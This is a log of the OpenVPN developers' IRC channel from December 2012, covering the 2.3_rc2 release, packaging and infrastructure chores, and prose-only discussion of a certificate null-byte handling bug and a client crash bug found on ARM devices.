<@dazo> If we get a reasonable fix/workaround which isn't too dirty and is fairly easy to ACK ... we can squeeze it into final 2.3. But this is only if it causes interop-issues with older releases 11:23 < novaflash> mattock_: u ere? 11:24 * dazo heads home 11:25 -!- dazo is now known as dazo_afk 11:27 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 11:27 < novaflash> well 11:27 < novaflash> apparently he's not here 11:31 <@cron2> you scared him away! 11:31 < novaflash> must be 11:31 < novaflash> i was gonna tell him the new passwords he needs to publish openvpn 2.3rc3 11:31 < novaflash> sorry 11:31 < novaflash> rc2 11:31 < novaflash> running a bit ahead of myself now 11:31 <@cron2> haha, that would have meant "work", so he fled :-) 11:31 < novaflash> i see! 11:31 * novaflash hides the password 11:31 * novaflash shows up with beer 11:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:36 < novaflash> well 11:36 < novaflash> that's predictable 11:37 < novaflash> http://fiber.xs4all.nl/krzee.png <- you beerlubber 11:38 <+krzee> hahahah 11:38 <+krzee> nice! 11:38 < novaflash> excellent timing 11:39 <+krzee> *chug* 11:40 * novaflash looks at beer 11:40 < novaflash> oh shit you just chugged the password 11:40 < novaflash> now you'll shit crypts 11:40 <+krzee> i been doing that for yrs 13:11 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:20 <@mattock_> sorting out credentials issue with raidz, hopefully we get 2.3_rc2 out today 13:58 <@mattock_> openvpn-2.3_rc2 out 13:58 <@mattock_> https://forums.openvpn.net/topic11816.html 13:58 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3_rc2 released : Announcements (at forums.openvpn.net) 14:12 <@cron2> yay 14:20 <@mattock_> who'll be in Bruessels on Thursday evening? 14:20 <@mattock_> anyone? 14:21 <@cron2> not me 14:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 15:02 <@ecrist> not me 15:03 <@ecrist> mattock_: did you get fired and nobody told you? 15:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:14 < novaflash> mattock? 16:14 < novaflash> you there? 17:03 < novaflash> mattock_: boo 17:37 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 17:37 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:38 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:07 -!- raidz is now known as raidz_away 19:39 <+krzee> easy-rsa isnt being packaged with openvpn anymore? 19:39 <+krzee> its not in the 2.3 rc2 19:40 <+krzee> and the words "easy-rsa" do not appear on the download page 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 23:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Dec 19 2012 00:58 <@mattock_> krzee: no 00:58 <+krzee> ...will it be released somewhere else? 00:59 <@mattock_> it's in here: https://github.com/OpenVPN 01:00 <@vpnHelper> Title: OpenVPN · GitHub (at github.com) 01:00 <@mattock_> actually, let me check what the Windows installer does exactly 01:00 <@mattock_> it should install easy-rsa 01:00 <@mattock_> and for deb/rpm we have separate packages 01:02 <@mattock_> the openvpn source packages don't include it 01:46 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock_] 01:50 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 246 seconds] 01:50 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 02:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:30 <@mattock> ah, finally the IRC bouncer is working as intended 02:32 -!- mattock is now known as mattock_afk 02:32 -!- mattock_afk is now known as mattock 03:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 03:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:01 -!- dazo_afk is now known as dazo 04:01 <+krzee> interesting tidbit for you guys 04:01 <+krzee> to use ospf in freebsd over openvpn, i needed to use ptp mode 04:01 <+krzee> net30 and topology subnet didnt work right 04:02 <+krzee> whereas in linux that was not true 04:02 <+krzee> one day that lil gem may come in handy :D 04:08 <@dazo> mattock: I'll arrive Brussels Friday evening (plane should arrive 18ish) ... and leave Sunday evening 04:08 <@mattock> dazo: ok 04:09 <@dazo> krzee: easy-rsa is maintained by ecrist now ... so it is also packaged separately, I believe ... at least, that's the possibility now :) 04:10 <+krzee> ahh, will there be a link at: 04:10 <+krzee> !download 04:10 <@vpnHelper> "download" is (#1) http://www.openvpn.net/download to download OpenVPN or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore 04:10 <+krzee> at the community download page? 04:10 * dazo leaves that decision up to ecrist and mattock 04:11 <@mattock> krzee: we could add a link to the openvpn download page 04:11 <@mattock> adding a generic GitHub download page link would be best (no need to track easy-rsa releases on openvpn.net) 04:12 <+krzee> right on 04:12 <@mattock> I'll do it now 04:23 <@d12fk> ah rc2 is out 04:23 <@mattock> ok, done 04:23 <@mattock> d12fk: yup 04:24 <@d12fk> mattock: the version for the GUI is 2 not 2.0.0, next one will be 3 and so on 04:24 <@mattock> ah, ok 04:24 <@mattock> I'll let that slip, as the announcements are already all over the place 04:24 <@d12fk> sure, not that important anyway 04:25 <@mattock> you chose the Firefox route, then :) 04:25 <@d12fk> it just not the kind of project for sophisticated versioning 04:26 * d12fk hacks 04:26 * d12fk releases at will 04:26 * d12fk wants not think about which number to increment 04:27 <@d12fk> also less(1) does it that way =) 04:28 <@d12fk> it's at 444 on my ubuntu 04:28 <@d12fk> challenge accepted =) 04:40 <@mattock> less is more, especially according to version numbers 04:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 05:15 <@dazo> cron2: got a chance to look at the "fix passtos patch" on the ML? 05:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:33 <@cron2> dazo: I think it's ugly :-) (since *all* platforms but linux seem to use "int", I'd just #ifdef linux / #else / #endif this) - but basically, I'm fine with it, as soon as I find time to verify that it's indeed "int" on all these platforms (but the OP has nicely given links to the docs) 05:33 <@cron2> so - I'll respond to it tonight, and if not, please feel free to poke at will :-) 05:35 <@dazo> cron2: thx! Yeah, I agree to the #ifdef stuff ... start small and expand later on if needed 06:04 < plaisthos> d12fk: I know what you talking about. My android version is now 0.5.27 06:04 < plaisthos> And I bet it will be someday 0.5.200 06:48 <@mattock> dazo: do we have anything queued for 2.3.0 besides this pass-tos -patch? 06:49 <@mattock> I'm wondering when we'll make the final release 06:49 <@dazo> mattock: that's right ... I want to have just the absolutely needed patches for 2.3.0 ... and I'll do the tagging and stuff 23rd or 24th 06:50 <@mattock> with some luck I could make the release on 23rd 06:51 <@mattock> next option is probably 27th 06:51 <@dazo> I'll be spending the morning on the 24th on a train (most likely with Internet access) ... so I know it should be possible to do that then, but if 23rd it needs to be later in the evening probably 06:52 <@mattock> I'd aim for a "New Year's present" instead of a "Christmas present" :) 06:53 <@mattock> I'm fairly occupied during Christmas holidays afaics 06:56 <@cron2> let's see whether we need to fix something "last minute", or just passtos 06:57 <@d12fk> dazo: i just discovered something that could be 2.3 relevant for security 06:58 <@dazo> d12fk: what did you find? 06:58 <@d12fk> extract_x509_field_ssl doesnt handle '\0' in a field 06:59 <@dazo> ugh 06:59 <@d12fk> so "foo\0bar" returns true and "foo" 06:59 <@dazo> andj: ^^^ 06:59 <@dazo> well, that's not entirely unexpected though 06:59 <@d12fk> it there forever nothing adrian introduced 07:01 <@d12fk> fix is rather small 07:02 < plaisthos> isn't that kind of the same \0 bug that was there in multiple browser implementation? 07:02 <@d12fk> http://pastebin.com/uhi06Y5F 07:03 <@dazo> yeah, I just want to hear if he got any thoughts on this issue .... not pointing fingers yet :) 07:03 <@d12fk> it's not as drastic i suppose, but havent really thought it through 07:05 <@dazo> just one thing ... you use memcpy() ... what of memory regions overlap? wouldn't memmove() be safer? 07:05 <@dazo> what *if* 07:08 <@d12fk> that would be unlikely as the asn1 buffer is from within openssl and out is passed in as a user supplied buffer the field value should be copied to 07:08 <@d12fk> otoh memmove wouldn't hurt either 07:24 <@mattock> the Git browser in new Trac is _way_ faster and consumes little CPU 07:24 <@mattock> with the last one CPU went to 100% for several seconds each time a query was made 07:30 <@dazo> nice! 07:33 <@mattock> we might even consider switching the "Source" button to point here: http://174.36.59.156/openvpn/browser 07:33 <@vpnHelper> Title: / – OpenVPN Community (at 174.36.59.156) 07:33 <@mattock> instead of SF.net Git browser 07:53 <@d12fk> sf has a new interface too, i moved the gui to the new style already: http://sourceforge.net/p/openvpn-gui/code/ci/d88e66267ff8116eda7e53421f0fb09e9ba68dcb/tree/ 07:53 <@vpnHelper> Title: OpenVPN GUI / Code / [d88e66] (at sourceforge.net) 07:56 <@mattock> ah, cool 07:58 < plaisthos> mattock: I click on log and got an error :/ 07:58 < plaisthos> http://174.36.59.156/openvpn/log/ 07:59 <@mattock> yeah, noticed that 07:59 <@mattock> I'll look into it 08:00 < plaisthos> about the tos stuff, the tos stuff is ipv4 only atm from a quick glance from the source code 08:09 <@d12fk> there's an issue with make install on cygwin 08:09 <@d12fk> it installs the wrapper scripts instead of the binaries 08:10 <@d12fk> libtool foo anyone? 08:15 <@mattock> I disabled the TracGit plugin, which is unnecessary wit Trac 1.0 08:15 <@mattock> now the "Revision log" seems to work (http://174.36.59.156/openvpn/log/) 08:15 <@vpnHelper> Title: / (log) – OpenVPN Community (at 174.36.59.156) 08:19 < plaisthos> It seems to think that author == commmiter but yes it works ;) 08:24 <@mattock> should we send email notifications to ticket reporter if the ticket is changed? by default, that is? 08:24 <@mattock> and what about ticket owner? 08:25 <@mattock> (going through my backlog of Trac-related tasks) 08:27 <@mattock> here's some additional info: http://trac.edgewall.org/wiki/TracNotification 08:27 <@vpnHelper> Title: TracNotification – The Trac Project (at trac.edgewall.org) 08:27 <@mattock> always_notify_* options 09:03 <@ecrist> what did I do? 09:49 < novaflash> MATTTOOCCCKKK 09:49 < novaflash> ahmahgahd 10:20 <@dazo> novaflash: maybe try mail? :-P 10:20 < novaflash> dazo: he really is nynyargh 10:21 < novaflash> but he's the paranoid one 10:21 < novaflash> not trusting email to receive a password 10:21 <@dazo> novaflash: encrypt it with pgp ... he sure uses that :) 10:21 < novaflash> i don't know how to use that and i'm too lazy to figure it out right at this moment ;) 10:22 <@dazo> novaflash: password over IRC goes unencrypted ... so that's just as bad as unencrypted email 10:23 < novaflash> yeah well 10:23 < novaflash> i'll make it a guessing game then 10:23 < novaflash> starts with a 10:23 < novaflash> end with a 10:23 * novaflash dances up and down 10:25 < novaflash> did you guys see the 2000000000000000000000000000000 pixels picture? 10:25 < novaflash> https://s3.amazonaws.com/Gigapans/EBC_Pumori_050112_8bit_FLAT/EBC_Pumori_050112_8bit_FLAT.html 10:25 <@vpnHelper> Title: krpano.com - EBC_Pumori_050112_8bit_FLAT (at s3.amazonaws.com) 10:40 < tore_> plaisthos: does keeping the android openvpn client running round the clock significantly reduce battery life? 10:40 < plaisthos> tore_: yes and no 10:41 < plaisthos> tore_: see the last point in the faq 10:41 < tore_> ook 10:41 < plaisthos> it is basically not cpu consumption that drains the battery but the energy that the radio interfaces use 10:42 < plaisthos> udp every 10s keeps some radios in active state all the time and drain battery in like 24 h 10:42 < plaisthos> !android 10:42 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the 10:42 <@vpnHelper> market 10:42 < plaisthos> there is a link for a faq :) 10:43 < tore_> thanks. since I 10:43 < tore_> 'm running over ipv6 there's no NAT so I guess I could put the keepalive very high 10:44 < plaisthos> tore_: ah :) 10:44 < plaisthos> no broken end to end semantic for you then (: 10:44 < tore_> nope :) 10:44 < tore_> (only for ipv4) 10:45 < tore_> I'd get public ipv4 too if I want, but I think there's a stateful firewall in the network 10:50 <@d12fk> does anyone know how to force git to believe me that a totally changed file that was moved is actually a move and not a new file and a deleted one 10:50 < plaisthos> hm 10:50 < plaisthos> git mv? 10:53 <@d12fk> that one figures out that file looks rather like a new one by itself 10:57 <@d12fk> which is bad because you cant add hunks interactively because the whole file is "new" 11:14 -!- raidz_away is now known as raidz 11:40 <@cron2> re 12:29 <@dazo> d12fk: git mv is the right option ... but some times the changes are so massive, that it actually considers it as a deleted + new file .... however, it's only presented like that (I believe there's a config option where you can force files to be viewed as moved in these cases) 12:29 <@dazo> the internal storage does the right thing 12:30 <@dazo> see man git-config ... search for diff.renames 13:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 13:27 <@mattock> novaflash: all in order, got the credentials from raidz 13:27 < novaflash> mattock: cool, okay, i'll reply to this in 5 days from now 13:28 < novaflash> no just kidding ;) 13:28 < novaflash> people changing passwords: MADNESS! 13:28 <@mattock> yes, I agree, most useless :) 13:28 < novaflash> passwords are not meant to be changed 13:29 < novaflash> except if they're really silly 13:56 <@mattock> well, the classic "you need to change your password every 2 months" is silly 13:57 <@mattock> it is based on the assumption that if somebody gets your password, he'll wait before making use of it 14:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:02 -!- dazo is now known as dazo_afk 15:14 <@cron2> does openvpn on windows have --passtos? 15:32 < plaisthos> looking at the size of the tos field in IP, I wonder why the hell Linux uses char at all 15:32 <@cron2> "nothing smaller than char available"? 15:34 < plaisthos> ignore me I was under the brief assumption that tos field is 16bit 16:29 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 16:29 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:29 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has left #openvpn-devel [] 19:39 -!- raidz is now known as raidz_away 20:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 20:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Dec 20 2012 01:45 -!- dazo_afk is now known as dazo 03:02 <@vpnHelper> RSS Update - testtrac: Fix parameter type for IP_TOS setsockopt on non-Linux systems. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d39f31d96378aa5eeade74670ffd9e08bf4c7234> 03:55 -!- waldner [waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 04:02 -!- Netsplit *.net <-> *.split quits: ender|, @cron2, @vpnHelper 04:15 -!- dazo is now known as dazo_afk --- Log closed Thu Dec 20 04:21:44 2012 --- Log opened Thu Dec 20 07:17:37 2012 07:17 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:17 -!- Irssi: #openvpn-devel: Total of 10 nicks [6 ops, 0 halfops, 0 voices, 4 normal] 07:17 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:17 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 07:40 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 07:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:42 -!- dazo_afk is now known as dazo 09:18 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 09:23 < plaisthos> !git 09:23 * plaisthos was under the impression that worked once upon a time 09:25 <@mattock> I think it did 09:28 < plaisthos> Often underused options give strange cornercases 09:28 < plaisthos> This time persist-remote-ip and multiple remote/<connection> options 09:35 <@dazo> ecrist: vpnHelper gone? 09:35 <@ecrist> krzee is working on changing some things 09:36 <@dazo> plaisthos: see this one in the mean time :) http://www.secure-computing.net/factoids.php 09:36 <@dazo> ecrist: ahh, okay 09:44 < plaisthos> dazo: I found git url via google :) 10:26 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 10:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:57 -!- raidz_away is now known as raidz 11:45 <@vpnHelper> RSS Update - tickets: #245: Encoding problem when running openvpn on Windows Command Prompt <https://community.openvpn.net/openvpn/ticket/245> 12:15 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 15:58 -!- dazo is now known as dazo_afk 16:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 17:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:03 -!- raidz is now known as raidz_away 21:46 -!- daniear [~baobei@208.111.39.160] has joined #openvpn-devel 21:46 < daniear> hi 21:47 < daniear> on the latest release of openvpn, is it still necessary to specify an ipv6 subnet no lower than ::7 ? i'm reffering to --server-ipv6 21:47 < daniear> the manual page links to a page which says this is necessary 21:55 -!- daniear [~baobei@208.111.39.160] has quit [Read error: Connection reset by peer] --- Day changed Fri Dec 21 2012 00:26 <@andj> dazo: not very cool, let me check on the impact 00:47 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 00:54 <@andj> hmm, I'm looking at some sort of unit testing framework that might work for some tests on OpenVPN. Anyone have any preferences? 01:05 <@andj> I'm looking at Unity http://throwtheswitch.org/white-papers/unity-intro.html 01:05 <@vpnHelper> Title: Throw The Switch! - White Papers - Unity Intro (at throwtheswitch.org) 01:05 <@andj> and check http://check.sourceforge.net/ 01:05 <@vpnHelper> Title: Check: A unit testing framework for C (at check.sourceforge.net) 01:31 <@mattock> andj: unit tests at strategic places would be very cool 01:33 <@andj> mattock: I'd love to have them, but sort of gave up on them last time 01:34 <@andj> since the code is too intertwined 01:36 <@andj> d12fk: looks like the issue you mention is restricted to OpenSSL, but it brought another issue to my attention 01:36 <@andj> The resulting common_name is passed through string_mod_remap_name 01:36 <@andj> which cuts the CN off at \0 too 01:37 <@andj> Remapping CNs seems like a bad thing (TM) in general 01:37 <@andj> At least, if you're going to be verifying them 01:39 <@andj> Thankfully, OpenVPN is almost always used with self-generated CA's, but still... 01:48 <@mattock> andj: intertwined like spaghetti? :) 02:12 <@andj> mattock: cold, sticky, hard to separate spaghetti? 02:13 <@mattock> overcooked? 02:13 <@andj> hehe... I'm exagerating a little, but some code could use some love 02:13 <@andj> and modularisation 02:18 <@mattock> I hear somebody already gave some love to socket.c 02:18 <@mattock> :) 02:18 <@andj> I'd love to look into management.c 02:18 * andj hopes to have some time during the holidays 02:18 <@andj> standard disclaimer: If the world doesn't end, etc 02:19 <@mattock> the end of the world was yesterday, or is it today? 02:19 <@andj> I believe it was planned for today 02:22 <@mattock> damn, just when my semi-holiday would start... 02:38 <@d12fk> andj: i think it's save to assume there will be no valid \0's in RDNs and hence ignore/throw an error when they appear 02:39 <@d12fk> like "openvpn comes without support for \0 in RDNs" wont spawn any larger riots anywhere 02:41 <@andj> d12fk: I tend to agree, you're a complete idiot if you have that in a valid RDN... 02:43 <@andj> mattock: yeah, know the feeling.. took a day off to enjoy the fireworks 02:44 <@d12fk> i somehow never got hooked onto the whole maya story, not even as a meme 02:44 <@andj> d12fk: I enjoy the idiocy and the excentrics... 02:48 <@d12fk> how desparate must one be to accept this vague story? 03:00 <@andj> it's fascinating, isn't it? 03:04 -!- dazo_afk is now known as dazo 03:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:18 -!- tore_ [~tore@login.redpill-linpro.com] has quit [Quit: merry christmas and a happy new year! back jan 8th] 04:56 <@vpnHelper> RSS Update - tickets: #246: status window in the GUI is displaying the log incorrectly <https://community.openvpn.net/openvpn/ticket/246> 07:17 <@cron2_> mornin' 07:21 <@mattock> cron2: "morning" 07:21 <@mattock> just fixed an IPv6 issue on the new community.openvpn.net 07:21 <@mattock> it should work now 07:21 <@mattock> 2607:f0d0:1001:14:20c:29ff:fe63:504 07:22 <@cron2_> mmmh? DNS resolves to 2607:f0d0:1001:14::2, and that works nicely, since ecrist fixed it last week :-) - or is that the "old" server? 07:23 <@cron2_> (and the :504 does not ping for me, btw) 07:23 <@mattock> ah yes, it doesn't :D 07:23 <@ecrist> cron2_: I fixed the forum server, not the community server 07:23 <@cron2_> you have way too many machines... :) 07:24 <@mattock> apparently ping6 works between old and new community as they're on the same ESXi host 07:24 <@cron2_> maybe you're missing a default gateway, or have too restrictive ICMP filters again...? 07:27 <@mattock> I'll check the gateway thingy, as tcpdump shows icmp6 echo requests coming in 07:31 <@mattock> yep, default route missing 07:39 <@cron2_> icmp6 echo from 2001:608:0:738::18 - that's me. NOthing coming back yet, tho 08:28 <@mattock> cron2: it should work now 08:32 <@cron2_> 16 bytes from 2607:f0d0:1001:14:20c:29ff:fe63:504, icmp_seq=3181 hlim=52 time=133.182 ms 08:32 <@cron2_> \o/ 09:13 <@mattock> there's one additional benefit in using IPv6... if you lock yourself out from a server due to typing "iptables -D INPUT 1" instead of "ip6tables -D INPUT 1", you can still get in using IPv6 09:13 <@mattock> (provided that the RELATED, ESTABLISHED entry is @1) 09:17 <@cron2_> indeed, also quite helpful if you break IPv4 config on a router without serial ports, and can use IPv6 to get back in :-) 09:17 <@mattock> yep :) 09:21 <@mattock> our silly university network does not support IPv6 09:40 <@cron2_> complain to your IT department! 10:33 <@mattock> I will 10:36 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 246 seconds] 10:36 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 10:57 < plaisthos> mattock: we have enough ipv4 address for the next 10 year why bother with ipv6? 11:12 -!- raidz_away is now known as raidz 11:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:29 -!- dazo is now known as dazo_afk 12:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:32 -!- raidz is now known as raidz_away 17:39 -!- raidz_away is now known as raidz 17:49 -!- raidz is now known as raidz_away 22:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 23:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Dec 22 2012 01:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:50 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 10:57 * plaisthos just got a scary backtrace from a user 10:57 < plaisthos> 1 libopenvpn.so!md_ctx_update [crypto_openssl.c : 687 + 0x3] 10:57 < plaisthos> 2 libopenvpn.so!md5_state_update [crypto.c : 1419 + 0x3] 10:57 < plaisthos> 3 libopenvpn.so!process_incoming_push_msg [push.c : 464 + 0x7] 10:57 < plaisthos> 4 libopenvpn.so!incoming_push_message [push.c : 195 + 0x19] 10:57 < plaisthos> 5 libopenvpn.so!check_incoming_control_channel_dowork [forwa 13:38 <@cron2_> this is scary indeed 13:54 < plaisthos> It is either very strange linker problems or something I don't understand at all 14:08 <@cron2_> why strange linker problem? 14:09 <@cron2_> (I have no idea how the numbers should look like, I find "crash in openssl" bad, as that hints at data corruption "somewhere") 14:17 < plaisthos> cron2_: I don't ship the openssl library with my problem and that device might have an incompatible version 14:18 < plaisthos> anyway reading through the code of openvpn. If the data was corrupted it should have been broken at another point 14:18 < plaisthos> And I am debugging dead code ... :( 14:18 < plaisthos> oh no 14:20 < plaisthos> it is really used 14:31 < plaisthos> I think I found a possibilty how this could happen 14:32 < plaisthos> When the client retries the SENT_CONTROL message and the server resends the push message and then the client gets two of these messages 14:33 * plaisthos needs to look further through the code if this is really possible ... 14:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:47 < plaisthos> .ooO(And why the hell would nobody else run into this bug if my assumption is true?) 15:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:07 < plaisthos> YEAH! 15:07 < plaisthos> I have now a server which crashes every connecting OpenVPN client! :) 15:09 < plaisthos> dazo_afk is to blame ;) 15:22 < plaisthos> the version on x86 simply does not crash, only on arm 21:03 <+krzee> !blame 21:03 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments 21:03 <+krzee> plaisthos, i guess i agree :D 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Sun Dec 23 2012 00:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 01:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 04:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:32 < plaisthos> I see no good way to fix the bug :/ 04:33 <@cron2_> plaisthos: can you send a description to the list? I can't look right now but will investigate later 04:33 <@cron2_> seems this need fixing for 2.3.0 05:04 < plaisthos> cron2_: yeah 06:11 < plaisthos> cron2_: yeah and for 2.2 and 2.1 06:12 <@cron2_> oh, wow. 06:17 < plaisthos> yeah I am afraid, I sent an email 07:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:13 <@vpnHelper> RSS Update - tickets: #247: OpenVPN GUI crashes in 2.3_rc2 <https://community.openvpn.net/openvpn/ticket/247> 11:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:44 <+krzee> plaisthos, is it more dangerous than just a crash? 11:44 <+krzee> (potentially) 11:52 < plaisthos> krzee: I don't think so 11:52 * krzee wipes forehead 11:53 <+krzee> i had visions of an emergency upgrade on embedded phones, it wasnt pretty 12:20 <@cron2_> plaisthos: have you already sent the mail? I don't see anything yet... 14:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 16:07 < plaisthos> cron2_: err 16:07 < plaisthos> Date: Sun, 23 Dec 2012 13:11:22 +0100 16:07 < plaisthos> let me check where the mail went ... 16:08 < plaisthos> strange 16:08 < plaisthos> The mail is sent to SF 16:09 < plaisthos> but I neither got a message back that I am not a member nor is the mail visible elsewhere 16:20 < plaisthos> I bounced the message 16:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 17:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] --- Day changed Mon Dec 24 2012 00:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:43 <+krzee> could AS or the community version get some sort of clear message when connecting to the other? 01:44 <+krzee> we get so many people in the channel connecting AS client to community server not knowing any better, would be handy if they went "hey you're doing it wrong!" 03:52 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 03:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:49 <@cron2_> plaisthos: now I got the mail. Indeed, delay is needed, as for some funny reason I don't see myself having any time today... (schedule is already messed up anyway, as we had to see the child doctor this morning... small one has a bad 